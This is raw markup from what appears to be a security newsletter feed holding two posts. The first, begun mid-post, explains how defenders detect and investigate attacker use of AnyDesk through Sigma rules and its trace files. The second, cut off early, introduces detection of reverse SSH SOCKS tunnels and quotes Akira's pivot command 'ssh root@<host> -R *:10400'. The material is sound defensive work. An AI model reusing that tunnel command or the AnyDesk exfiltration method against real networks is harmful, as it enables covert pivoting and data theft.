stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If you operationalize only two, take <strong>Piped Password Via CLI</strong> and <strong>Service Installation</strong>: they key on scripted setup rather than anything a user clicks, so once you have excluded your own deployment they belong in the alert queue.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p><p>Execution and Temporary Artefact sit at the other end; in a shop with sanctioned AnyDesk they hum constantly, so route them to a hunting view.</p><p>One gap worth knowing: the suspicious-folder rule excludes <code>\AppData\</code>, and <code>%TEMP%</code> lives under <code>\AppData\Local\Temp</code>. In my lab it never fired on the portable scenario, only on the <code>C:\ProgramData</code> install. That blind spot is exactly what the path filter in the first query covers. All seven rules live in the <a href="https://github.com/SigmaHQ/sigma">SigmaHQ repo</a> under <code>rules/windows</code>.</p><p>Sigma and KQL answer the same question: is AnyDesk running here. Neither answers the one you actually need in an incident, which is whether this is your help desk or your attacker.</p><div><hr></div><h2>You found it. Work the host before it is gone.</h2><p>Your queries have put AnyDesk on a specific box, behaving like an operator tool. Detection is done. Everything from here lives on the host, in files AnyDesk writes about itself, and every one of them dies the moment someone reimages the machine. Pull them first.</p><h3>connection_trace.txt: how they got in</h3><p>AnyDesk logs every incoming session to <code>connection_trace.txt</code> (<code>%APPDATA%\AnyDesk\</code> for a portable run, <code>%PROGRAMDATA%\AnyDesk\</code> for the service). Each line records the approval:</p><ul><li><p><code>Passwd</code> or <code>Token</code>: unattended access. Someone set a password, or stored one, so they could come back without asking.</p></li><li><p><code>User</code>: a human clicked Accept.</p></li></ul><p>That field decides your <strong>remediation</strong>: kill a password and a service, or retrain a user and hunt the lure. Same tool, same operator, two entirely different incidents. In my lab the same operator ID hit both hosts, and the two traces tell the two stories in one line each. The portable host: <code>Incoming 2026-06-26, 11:19 User</code>, a person clicked Accept that morning. The service host: <code>Passwd</code> at 15:41, then <code>Token</code> at 15:42, the operator walking in and coming back with nobody at the keyboard.</p><p>What it does not decide on its own is <strong>legitimacy</strong>. Your help desk shows <code>User</code> when they call a user, and a sanctioned rollout shows <code>Passwd</code>. That read is the hunt you already ran:</p><ul><li><p>A renamed binary still carrying AnyDesk&#8217;s PE metadata?</p></li><li><p>One or two hosts instead of the fleet?</p></li><li><p>No change window, no deployment agent as the parent?</p></li></ul><p>Three yeses next to <code>Passwd</code> is not your help desk. Read both together before you write a word of the report.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eZXs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eZXs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 424w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 848w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1272w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eZXs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png" width="1232" height="292" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:292,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52940,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eZXs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 424w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 848w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1272w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>ad.trace: who connected</h3><p>The network telemetry only ever showed you the AnyDesk relay, never the operator, so the SIEM looks like a dead end. It is not. AnyDesk writes the operator&#8217;s source IP to disk itself. Open the trace file, <code>ad.trace</code> (portable) or <code>ad_svc.trace</code> (service), and search for <code>Logged in from</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gPpB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gPpB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 424w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 848w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1272w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gPpB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png" width="1456" height="239" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:239,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:146535,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gPpB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 424w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 848w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1272w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><em>The </em><code>Logged in from</code><em> line, straight out of </em><code>ad_svc.trace</code><em> on the victim host.</em></p><p>This is the reliable source: the relay reports the operator&#8217;s egress IP on every login, even when the session never leaves the relay. That IP is the operator&#8217;s infrastructure or egress, a VPS, VPN, or NAT. It is a pivot and block IOC, not attribution to a person.</p><p>There is a second, opportunistic way to the same IP that does not need the file. AnyDesk prefers a direct peer-to-peer link (TCP 7070) and tries to punch straight to the operator&#8217;s public IP before falling back to the relay. When your firewall blocks that punch, the attempt logs as <code>ConnectionFailed</code>, to the operator&#8217;s real IP, in your EDR. Hunt the failures, not the successes.</p><p>The caveat: a careful operator unchecks &#8220;Allow direct connections&#8221; and forces relay-only, and the IP never appears. Strict egress can skip the direct attempt entirely. The trace file is the source you rely on; this is the bonus.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hx2r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hx2r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 424w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 848w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1272w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hx2r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png" width="1456" height="516" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:516,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:201534,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hx2r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 424w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 848w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1272w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The </em><code>ConnectionFailed</code><em> hunt: </em><code>anydesk.exe</code><em> 2 attempts on ports 7070/51703, </em><code>invoice_viewer.exe</code><em> 4 attempts on 7070/64004/49439, all to the operator&#8217;s public IP.</em></p><h3>file_transfer_trace.txt: what left</h3><p>AnyDesk has a built-in file manager, and it is a clean exfil channel: no web proxy hit, no email DLP trigger. When a transfer happens, it logs every one to <code>file_transfer_trace.txt</code>, in the same config directory, in plaintext.</p><p>Filename, size, direction, timestamps. Put it against the connection trace and the timeline writes itself: <code>Passwd</code> login at 15:41, and by 15:46 a 231 MiB <code>documents.zip</code> had left the host. Five minutes from unattended access to completed exfil, and the tool documented every step of it. No packet capture needed to prove data walked out.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!W0TI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!W0TI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 424w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 848w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1272w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!W0TI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png" width="1456" height="131" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:131,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37204,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!W0TI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 424w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 848w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1272w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You have AnyDesk on one host, carrying its own fingerprints, set up with a piped password (<code>Passwd</code> in the trace), calling an AnyDesk relay, with the operator&#8217;s egress IP on disk and a plaintext receipt for the 231 MiB they took. That is not your help desk. That is a scoped incident with a pivot IOC and an exfil list, collected before the reimage.</p><div><hr></div><h2>Run this before your next shift</h2><p>If your enterprise does not run AnyDesk and you see AnyDesk, that alone is your investigation, so start it. If it does run AnyDesk, the same evidence still sorts legit from planted.</p><p>None of this needs a new product:</p><ul><li><p><strong>Four MDE queries</strong> - identity, rarity, behavior, destination.</p></li><li><p><strong>Seven SigmaHQ rules</strong> you already have.</p></li><li><p><strong>Three files on the host</strong> - <code>connection_trace.txt</code>, <code>ad.trace</code>, <code>file_transfer_trace.txt</code>.</p></li></ul><p>Run the queries before your next shift. If they come back quiet, you have a clean baseline. If they do not, you know exactly what to pull, and in what order, before someone reimages the evidence.</p><p>I have put the full AnyDesk hunt pack in one place, every KQL query here and the SigmaHQ rules I watched fire, so you can lift it in one go: <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/anydesk.md">github.com/Securityinbits/defender-hunt-queries</a>.</p><p>That Medium alert will still read &#8220;Uncommon remote access software,&#8221; and the next analyst to see it will still be tempted to think <em>probably IT</em> and close it. The difference is what you do in the ten minutes after. Run the four queries. Read the approval field in <code>connection_trace.txt</code>. You will know whether it was the help desk or the operator before the box gets reimaged.</p><div><hr></div><p>P.S. AnyDesk is the tool most ransomware crews reach for, but not the only one. ScreenConnect and Atera get the same treatment, emulated, validated, and turned into queries, in the next issues.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk/comments&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk/comments"><span>Leave a comment</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Detecting Reverse SSH SOCKS Tunnels: Separating Benign -R From Akira Pivoting]]></title><description><![CDATA[Two of these three ssh.exe -R sessions are benign. The telemetry that separates them, and the one case it can't.]]></description><link>https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 17 Jun 2026 13:02:03 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/36cc8427-3ead-47a9-a91c-fe45982e257b_1200x630.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You found <code>ssh.exe</code> running on a workstation, saw the <code>-R</code>, and thought: just a tunnel.</p><p>You&#8217;ve probably closed that alert before. A green <code>ssh.exe</code>, a <code>-R</code> you read as port forwarding, &#8220;admin activity&#8221; in the notes, and you moved on, because the process event gave you nothing to argue with. The process event always backs you up. That&#8217;s the problem.</p><p>Here is what it backed up. In a July 2025 intrusion documented by The DFIR Report, Akira&#8217;s operators turned a compromised host into a SOCKS proxy with almost exactly this command, <code>ssh root@&lt;host&gt; -R *:10400</code>. They ran a renamed scanner through it, mapped the internal estate, dumped credentials, stole data, and deployed ransomware in under 44 hours. None of it crossed the wire in plaintext. All of it rode inside an encrypted channel your EDR records as a single process: <code>ssh.exe</code>. Whatever the attacker ran next, the command line still said <code>ssh.exe</code> and nothing else.</p><p>So escalating the alert doesn&#8217;t help. You pull the process event and you still can&#8217;t prove the tunnel is a pivot. NetExec, nmap, lateral movement, all of it executes inside the tunnel, out of reach of the command line that&#8217;s supposed to tell you what ran.</p><p>The tunnel is opaque, but it isn&#8217;t silent. Whatever moves through it leaves a shape: how many destinations, how many ports, how many connections failed. That shape is usually enough to tell a forward from a sweep, and your EDR is already logging every field you need to read it.</p><p>This article is about how far that shape gets you, the exact point it stops, and what you fall back on when it does.</p><h1>1. Why SSH -R Gets Missed</h1><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tVLL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tVLL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 424w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 848w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1272w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tVLL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png" width="997" height="898" 